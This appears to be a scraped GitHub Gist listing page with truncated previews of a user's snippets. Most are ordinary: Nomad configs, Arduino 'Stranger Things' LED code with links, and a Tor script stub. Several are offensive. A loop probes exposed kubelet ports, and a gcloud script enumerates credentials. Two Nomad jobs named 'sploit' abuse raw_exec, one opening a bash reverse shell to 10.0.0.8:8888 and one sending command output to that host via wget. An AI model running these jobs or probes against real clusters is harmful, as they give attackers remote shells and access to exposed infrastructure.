Instantly share code, notes, and snippets.

View kubelet-find.sh
for a in $(cat kube-gke.txt); do
echo $a;
curl --insecure https://$a:10250/runningpods ";
echo "";
echo "";
done
View gcp_enum.sh
# gcloud auth activate-service-account --key-file=85.json
# gcloud projects list
project="my-projet"
space=""
echo "gcloud auth list"
gcloud auth list
echo -e "$space"
View sploit_service_revshell.hcl
job "sploit_service_revshell" {
datacenters = ["dc1"]
group "sploit" {
task "shello" {
driver = "raw_exec"
config {
command = "/bin/bash"
args = ["-c", "bash -i >& /dev/tcp/10.0.0.8/8888 0>&1"]
}
View sploit_service.hcl
job "sploit_service" {
datacenters = ["dc1"]
group "sploit" {
task "shello" {
driver = "raw_exec"
config {
command = "/bin/bash"
args = ["-c", "wget http://10.0.0.8:8000/?foo=`which nc`"]
}
View client2.hcl
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/client2"
# Give the agent a unique name. Defaults to hostname
name = "client2"
# Enable the client
View client1.hcl
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/client1"
# Give the agent a unique name. Defaults to hostname
name = "client1"
# Enable the client
View server.hcl
# Increase log verbosity
log_level = "DEBUG"
# Setup data dir
data_dir = "/tmp/server1"
# Enable the server
server {
enabled = true
View stranger_things.ino
#include "FastLED.h"
#define NUM_LEDS 100
#define COLOR_ORDER RGB
CRGB leds[NUM_LEDS];
//I have a few additional integers in here from different tests.
int y = 1;
int z = 0;
int w = 5;
int i = 20;
View stranger_things_lights_refs.txt
https://www.doityourselfchristmas.com/wiki/index.php?title=Pixel_Wiring_Colors#WS2811
#best arduino code for making the WriteWord magic happen
https://www.woodlandmanufacturing.com/articles/news/how-to-make-a-stranger-things-alphabet-sign-with-lights-code/
https://github.com/djhazee/strangerlights/blob/master/strangerlights.py
https://imgur.com/gallery/RCJyA
https://www.instructables.com/id/Arduino-Based-Stranger-Things-Lights/
View tor_shennigans.py
import torrequest
import stem.connection
from stem.connection import connect
from torrequest import TorRequest
# Choose a proxy port, a control port, and a password.
# Defaults are 9050, 9051, and None respectively.
# If there is already a Tor process listening the specified